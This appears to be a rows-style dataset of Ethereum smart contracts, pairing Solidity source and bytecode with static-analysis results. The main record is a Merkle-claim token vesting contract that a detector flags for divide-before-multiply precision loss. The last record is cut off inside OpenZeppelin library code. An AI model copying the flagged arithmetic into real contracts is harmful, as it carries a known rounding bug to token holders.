20546d04ee2d6d415b85acef81000000009061088784610d07565b0181151561089157fe5b0492915050565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105ef5780601f106105c4576101008083540402835291602001916105ef565b60065433600160a060020a03908116610100909204161461091257600080fd5b600160a060020a03821660009081526004602052604090205481111561093757600080fd5b61094082610ae2565b600160a060020a038216600081815260046020908152604091829020805485900390556003805485900390819055600a80548601905582514281529182018590528183015290517f939b898ad009d31512361aa94a8e62a1fc7d52f623a75868ed798fe457e6f9cf9181900360600190a25050565b60065460009060ff16156109c857600080fd5b6109d133610ae2565b6109da83610ae2565b6109e48383610d34565b9392505050565b600c6020526000908152604090205481565b60065433600160a060020a039081166101009092041614610a1d57600080fd5b60065460ff1615158115151415610a3357610ab6565b6006805460ff19168215801591909117909155610a82576040805142815290517f4d69b51fee53c28bd8b61fe008151577ca65160b5248f6225e74d64fd4cf73289181900360200190a1610ab6565b6040805142815290517fe9305bd5d22611ad00576810772c860a45c727a6ceb9121bb6a81277cbfabcdb9181900360200190a15b50565b600a5481565b600560209081526000928352604080842090915290825290205481565b60095481565b610aeb81610d07565b600160a060020a039091166000908152600b602090815260408083208054909401909355600954600c90915291902055565b600160a060020a038084166000908152600560209081526040808320339485168452909152812054909190831115610b5457600080fd5b600160a060020a0380861660008181526005602090815260408083209486168084529482529182902080548890039055815187815291517f2103cdfb2f74999b6ffea5fdf05d864485c49a84f1bed894d5592f6a842663219281900390910190a3610bc0858585610d3d565b95945050505050565b6000610bd58484610d34565b1515610be057600080fd5b83600160a060020a031663c0ee0b8a3385856040518463ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c78578181015183820152602001610c60565b50505050905090810190601f168015610ca55780820380516001836020036101000a031916815260200191505b50945050505050602060405180830381600087803b158015610cc657600080fd5b505af1158015610cda573d6000803e3d6000fd5b505050506040513d6020811015610cf057600080fd5b50511515610cfd57600080fd5b5060019392505050565b600160a060020a03166000908152600c602090815260408083205460095460049093529220549190030290565b60006109e43384845b600160a060020a038316600090815260046020526040812054821115610d6257600080fd5b600160a060020a03831660009081526004602052604090205482810111610d8857600080fd5b600160a060020a03808516600081815260046020908152604080832080548890039055938716808352918490208054870190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a350600193925050505600a165627a7a72305820df25abe8afe9f3662e14fc14779fe5fd8c0b80cf7d8347e3734eca9ade7624ed0029
|
{"success": true, "error": null, "results": {}}
| 5,134 |
0xa672a2c2afe36345f0c8396537b241d45b97e0f2
|
pragma solidity ^0.5.12;
/**
* @dev These functions deal with verification of Merkle trees (hash trees),
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//TODO add safemath
interface IDPR {
function transferFrom(address _spender, address _to, uint256 _amount) external returns(bool);
function transfer(address _to, uint256 _amount) external returns(bool);
function balanceOf(address _owner) external view returns(uint256);
}
contract MerkleClaim {
using SafeMath for uint256;
bytes32 public root;
IDPR public dpr;
//system info
address public owner;
uint256 public total_release_periods = 276;
uint256 public start_time = 1620604800; //2021 年 05 月 10 日 08:00
// uer info
mapping(address=>uint256) public total_lock_amount;
mapping(address=>uint256) public release_per_period;
mapping(address=>uint256) public user_released;
mapping(bytes32=>bool) public claimMap;
mapping(address=>bool) public userMap;
//=====events=======
event claim(address _addr, uint256 _amount);
event distribute(address _addr, uint256 _amount);
event OwnerTransfer(address _newOwner);
//====modifiers====
modifier onlyOwner(){
require(owner == msg.sender);
_;
}
constructor(bytes32 _root, address _token) public{
root = _root;
dpr = IDPR(_token);
owner = msg.sender;
}
function transferOwnerShip(address _newOwner) onlyOwner external {
require(_newOwner != address(0), "MerkleClaim: Wrong owner");
owner = _newOwner;
emit OwnerTransfer(_newOwner);
}
function setClaim(bytes32 node) private {
claimMap[node] = true;
}
function distributeAndLock(address _addr, uint256 _amount, bytes32[] memory proof) public{
require(!userMap[_addr], "MerkleClaim: Account is already claimed");
bytes32 node = keccak256(abi.encodePacked(_addr, _amount));
require(!claimMap[node], "MerkleClaim: Account is already claimed");
require(MerkleProof.verify(proof, root, node), "MerkleClaim: Verify failed");
//update status
setClaim(node);
lockTokens(_addr, _amount);
userMap[_addr] = true;
emit distribute(_addr, _amount);
}
function lockTokens(address _addr, uint256 _amount) private{
total_lock_amount[_addr] = _amount;
release_per_period[_addr] = _amount.div(total_release_periods);
}
function claimTokens() external {
require(total_lock_amount[msg.sender] != 0, "User does not have lock record");
require(total_lock_amount[msg.sender].sub(user_released[msg.sender]) > 0, "all token has been claimed");
uint256 periods = block.timestamp.sub(start_time).div(1 days);
uint256 total_release_amount = release_per_period[msg.sender].mul(periods);
if(total_release_amount >= total_lock_amount[msg.sender]){
total_release_amount = total_lock_amount[msg.sender];
}
uint256 release_amount = total_release_amount.sub(user_released[msg.sender]);
// update user info
user_released[msg.sender] = total_release_amount;
require(dpr.balanceOf(address(this)) >= release_amount, "MerkleClaim: Balance not enough");
require(dpr.transfer(msg.sender, release_amount), "MerkleClaim: Transfer Failed");
emit claim(msg.sender, release_amount);
}
function unreleased() external view returns(uint256){
return total_lock_amount[msg.sender].sub(user_released[msg.sender]);
}
function withdraw(address _to) external onlyOwner{
require(dpr.transfer(_to, dpr.balanceOf(address(this))), "MerkleClaim: Transfer Failed");
}
function pullTokens(uint256 _amount) external onlyOwner{
require(dpr.transferFrom(owner, address(this), _amount), "MerkleClaim: TransferFrom failed");
}
}
|
0x608060405234801561001057600080fd5b50600436106100ff5760003560e01c80637e0db6cc11610097578063c7fef17e11610066578063c7fef17e146104b8578063ebf0c717146104d6578063f03d6672146104f4578063f63013aa14610512576100ff565b80637e0db6cc146103de578063834ee4171461040c5780638863dd1a1461042a5780638da5cb5b1461046e576100ff565b806348c54b9d116100d357806348c54b9d146102e057806351cff8d9146102ea57806356d6e72d1461032e578063621f7b0a14610386576100ff565b8062ec4e4a14610104578063118df67e146101e657806322d761c31461023e5780632bcc23f814610284575b600080fd5b6101e46004803603606081101561011a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561016157600080fd5b82018360208201111561017357600080fd5b8035906020019184602083028401116401000000008311171561019557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061055c565b005b610228600480360360208110156101fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610833565b6040518082815260200191505060405180910390f35b61026a6004803603602081101561025457600080fd5b810190808035906020019092919050505061084b565b604051808215151515815260200191505060405180910390f35b6102c66004803603602081101561029a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061086b565b604051808215151515815260200191505060405180910390f35b6102e861088b565b005b61032c6004803603602081101561030057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f03565b005b6103706004803603602081101561034457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061118f565b6040518082815260200191505060405180910390f35b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111a7565b6040518082815260200191505060405180910390f35b61040a600480360360208110156103f457600080fd5b81019080803590602001909291905050506111bf565b005b6104146113c8565b6040518082815260200191505060405180910390f35b61046c6004803603602081101561044057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113ce565b005b610476611572565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104c0611598565b6040518082815260200191505060405180910390f35b6104de61159e565b6040518082815260200191505060405180910390f35b6104fc6115a4565b6040518082815260200191505060405180910390f35b61051a61163c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156105ff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180611a8a6027913960400191505060405180910390fd5b60008383604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001925050506040516020818303038152906040528051906020012090506008600082815260200190815260200160002060009054906101000a900460ff16156106d8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180611a8a6027913960400191505060405180910390fd5b6106e58260005483611662565b610757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4d65726b6c65436c61696d3a20566572696679206661696c656400000000000081525060200191505060405180910390fd5b6107608161171a565b61076a8484611749565b6001600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507ffb9321085d4e4bed997685c66125572b6a0104e335681818c35b3b4d57726d6e8484604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150505050565b60056020528060005260406000206000915090505481565b60086020528060005260406000206000915054906101000a900460ff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610941576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5573657220646f6573206e6f742068617665206c6f636b207265636f7264000081525060200191505060405180910390fd5b60006109d4600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e990919063ffffffff16565b11610a47576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f616c6c20746f6b656e20686173206265656e20636c61696d656400000000000081525060200191505060405180910390fd5b6000610a7362015180610a65600454426117e990919063ffffffff16565b61183390919063ffffffff16565b90506000610ac982600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461187d90919063ffffffff16565b9050600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110610b5457600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b6000610ba8600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836117e990919063ffffffff16565b905081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c8e57600080fd5b505afa158015610ca2573d6000803e3d6000fd5b505050506040513d6020811015610cb857600080fd5b81019080805190602001909291905050501015610d3d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4d65726b6c65436c61696d3a2042616c616e6365206e6f7420656e6f7567680081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610de657600080fd5b505af1158015610dfa573d6000803e3d6000fd5b505050506040513d6020811015610e1057600080fd5b8101908080519060200190929190505050610e93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d65726b6c65436c61696d3a205472616e73666572204661696c65640000000081525060200191505060405180910390fd5b7faad3ec96b23739e5c653e387e24c59f5fc4a0724c18ad1970feb0d1444981fac3382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f5d57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb82600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561103b57600080fd5b505afa15801561104f573d6000803e3d6000fd5b505050506040513d602081101561106557600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156110df57600080fd5b505af11580156110f3573d6000803e3d6000fd5b505050506040513d602081101561110957600080fd5b810190808051906020019092919050505061118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d65726b6c65436c61696d3a205472616e73666572204661696c65640000000081525060200191505060405180910390fd5b50565b60066020528060005260406000206000915090505481565b60076020528060005260406000206000915090505481565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461121957600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561131857600080fd5b505af115801561132c573d6000803e3d6000fd5b505050506040513d602081101561134257600080fd5b81019080805190602001909291905050506113c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4d65726b6c65436c61696d3a205472616e7366657246726f6d206661696c656481525060200191505060405180910390fd5b50565b60045481565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461142857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156114cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4d65726b6c65436c61696d3a2057726f6e67206f776e6572000000000000000081525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcef55b6688c0d2198b4841b7c6a8247f60385b4b5ce83e22506fb3258036379b81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b60005481565b6000611637600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e990919063ffffffff16565b905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008082905060008090505b855181101561170c57600086828151811061168557fe5b602002602001015190508083116116cc57828160405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092506116fe565b808360405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092505b50808060010191505061166e565b508381149150509392505050565b60016008600083815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117a26003548261183390919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600061182b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611903565b905092915050565b600061187583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119c3565b905092915050565b60008083141561189057600090506118fd565b60008284029050828482816118a157fe5b04146118f8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611ab16021913960400191505060405180910390fd5b809150505b92915050565b60008383111582906119b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561197557808201518184015260208101905061195a565b50505050905090810190601f1680156119a25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290611a6f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a34578082015181840152602081019050611a19565b50505050905090810190601f168015611a615780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611a7b57fe5b04905080915050939250505056fe4d65726b6c65436c61696d3a204163636f756e7420697320616c726561647920636c61696d6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a72315820755d6c3d28a45ca463f31e87256494dad0e687a6fd728109196d0a40b00f44de64736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 5,135 |
0x9f90653Bcfd70d9276Cc2e798A2E226fCFae4cBF
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
// Part: MembersInterface
interface MembersInterface {
function setCustodian(address _custodian) external returns (bool);
function addBroker(address broker) external returns (bool);
function removeBroker(address broker) external returns (bool);
function isCustodian(address addr) external view returns (bool);
function isBroker(address addr) external view returns (bool);
}
// Part: OpenZeppelin/openzeppelin-contracts@4.1.0/Context
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Part: OpenZeppelin/openzeppelin-contracts@4.1.0/EnumerableSet
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// Part: OpenZeppelin/openzeppelin-contracts@4.1.0/Ownable
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
